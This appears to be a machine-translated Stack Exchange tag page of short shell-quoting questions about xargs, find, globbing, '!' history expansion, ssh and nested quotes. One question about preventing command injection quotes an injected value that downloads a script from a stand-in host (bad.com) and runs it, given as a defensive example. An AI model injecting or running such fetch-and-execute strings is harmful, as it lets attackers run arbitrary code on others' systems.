Questions tagged «quoting»

字符串通常用引号分隔,这引起了处理包含引号的字符串的问题。

7
为什么echo和cat的执行时间会有这样的差异?
回答这个问题使我又问了一个问题: 我认为以下脚本可以做同样的事情,第二个脚本应该更快,因为第一个脚本cat需要一遍又一遍地打开文件,而第二个脚本仅可以打开文件一次然后回显一个变量: (请参阅更新部分以获取正确的代码。) 第一: #!/bin/sh for j in seq 10; do cat input done >> output 第二: #!/bin/sh i=`cat input` for j in seq 10; do echo $i done >> output 而输入约为50兆字节。 但是当我尝试第二个时,它太慢了,因为回显变量i是一个巨大的过程。第二个脚本也有一些问题,例如输出文件的大小比预期的要小。 我还检查了的手册页echo并cat进行比较: 回声-显示一行文本 cat-连接文件并在标准输出上打印 但是我没有区别。 所以: 为什么第二个脚本中的cat这么快而echo这么慢? 还是变量问题i?(因为在手册页中 echo据说它显示“一行文本”,所以我猜它仅针对短变量进行了优化,而不是针对非常长的变量进行了优化i。但是,这只是一个猜测。) 为什么使用时会出问题echo? 更新 我用seq 10而不是`seq 10`不正确。这是编辑的代码: 第一: #!/bin/sh for j …

3
如何用xargs引用参数
假设我要删除文件夹中大于1 MB的所有文件。 $ find . -size +1M | xargs -0 rm 这不会删除名称中带有空格的文件。因此,我希望它引用发送给的所有参数rm。如果find给出,Some report.docx则应传递"Some report.docx"给rm。 我怎样才能做到这一点?
15 shell  find  quoting  rm  xargs 

3
'find -exec'如何传递带有空格的文件名?
如果我的目录包含一些名称带有空格的文件,例如 $ ls -1 dir1 file 1 file 2 file 3 我可以将它们全部成功复制到另一个目录,如下所示: $ find dir1 -mindepth 1 -exec cp -t dir2 {} + 但是,的输出find dir1 -mindepth 1包含未转义的空格: $ find dir1 mindepth 1 dir1/file 1 dir1/file 3 dir1/file 3 如果我使用print0而不是print,则输出仍包含未转义的空格: $ find dir1 mindepth 1 -print0 dir1/file 1dir1/file 2dir1/file 3 要使用手动复制这些文件cp,我需要转义空格;但是,似乎当cp的参数来自时,这是不必要的find,而不管我是使用命令+还是\;命令的末尾。 …

2
符合POSIX的方式使用可能包含空格的文件名列表
我看过Bash脚本指南,建议使用数组处理包含空格的文件名。但是DashAsBinSh建议数组不能移植,因此我正在寻找一种POSIX兼容方式来处理可能包含空格的文件名列表。 我正在尝试修改以下示例脚本,以便 echo foo/target/a.jar foo/target/b.jar bar/target/lol whitespace.jar 这是脚本 #!/usr/bin/env sh INPUT="foo/target/a.jar foo/target/b.jar bar/target/b.jar bar/target/lol whitespace.jar" # this would be produced by a 'ls' command # We can execute the ls within the script, if it helps dostuffwith() { echo $1; }; F_LOCATIONS=$INPUT ALL_FILES=$(for f in $F_LOCATIONS; do echo `basename $f`; …



3
为什么感叹号`!`有时会使bash不高兴?
我意识到这!在命令行历史记录的上下文中在命令行上具有特殊意义,但是除此之外,在运行脚本中,感叹号有时可能会导致解析错误。 我认为与有关event,但我不知道事件是什么或事件是什么。即使这样,同一命令在不同情况下的行为也可能不同。 下面的最后一个示例导致错误;但是为什么当相同的代码在命令替换之外起作用时呢?..使用GNU bash 4.1.5 # This works, with or without a space between ! and p { echo -e "foo\nbar" | sed -nre '/foo/! p' echo -e "foo\nbar" | sed -nre '/foo/!p'; } # bar # bar # This works, works when there is a space between ! and …

4
如何使bash glob成为字符串变量?
系统信息 作业系统:OS X bash:GNU bash,版本3.2.57(1)-发行版(x86_64-apple-darwin16) 背景 我希望时间机器从我的所有git / nodejs项目中排除一组目录和文件。我的项目目录在其中~/code/private/,~/code/public/因此我尝试使用bash循环来执行tmutil。 问题 精简版 如果我有一个计算得出的字符串变量k,那么如何在for循环之前或之内使其全局: i='~/code/public/*' j='*.launch' k=$i/$j # $k='~/code/public/*/*.launch' for i in $k # I need $k to glob here do echo $i done 在下面的长版中,您会看到k=$i/$j。因此,我无法在for循环中对字符串进行硬编码。 长版 #!/bin/bash exclude=' *.launch .classpath .sass-cache Thumbs.db bower_components build connect.lock coverage dist e2e/*.js e2e/*.map libpeerconnection.log node_modules npm-debug.log …

3
bash添加了额外的单引号
我在执行脚本时遇到问题。 当以调试模式(bash -x)执行它时,我可以看到bash添加了额外的引号。因此,我的脚本失败了。 这在我的脚本中: testvar="\"sudo /home/pi/shared/blink.sh 27 off\"" ssh -n -q -q -o BatchMode=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o ConnectTimeout=5 $1 ${testvar} 这是输出: ssh -n -q -q -o BatchMode=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o ConnectTimeout=5 192.168.42.105 '"sudo' /home/pi/shared/blink.sh 27 'off"'
14 shell  ssh  quoting 

2
如何使用特殊字符作为普通字符?
许多问题,例如“如何键入双引号char(“)?” 被问到,而我们不想以相同的答案使我们的社区混乱(输入时,\"如果没有用's "括起来,则键入它,如果没有用s 括起来'。)因此,问题就在这里。 您不能像普通字符一样在终端中键入特殊字符,例如,此命令将失败: echo Updates (11) 那么,如何在终端中像正常字符一样键入这些字符? !#$^&*?[](){}<>~;'"\|<space><tab><newline>

2
变量如何使用“〜”进行CD?
如何使用变量- $BASE在CD中。我尝试了以下操作,但出现错误 $ cd ~/z/repo_1_ruby_193/ 23:23:57 durrantm Castle2012 /home/durrantm/z/repo_1_ruby_193 $ BASE="~/z" 23:24:03 durrantm Castle2012 /home/durrantm/z/repo_1_ruby_193 $ cd $BASE/repo_1_ruby_193 -bash: cd: ~/z/repo_1_ruby_193: No such file or directory 23:24:25 durrantm Castle2012 /home/durrantm/z/repo_1_ruby_193



3
如何通过命令选项防止命令注入?
我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么? 例如。 用户提供: -a -b 应用程序执行: mysim --preset_opt -a -b 但是,我不希望这种情况发生: 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 当前,我认为我可以将每个用户提供的选项都用单引号引起来,'并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注意:该mysim命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。

2
子外壳中的嵌套引号
说我必须使用引号来封装subshel​​l输出,例如: DATA="$(cat file.hex | xxd -r)" 但是我需要嵌套这样的东西: DATA="$(cat file.hex | xxd -r | tr -d \"$(cat trim.txt)\")" 我不能使用单引号,因为它们不会展开其中的变量。转义引号不起作用,因为它们仅被视为被动文本。 我该如何处理?

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.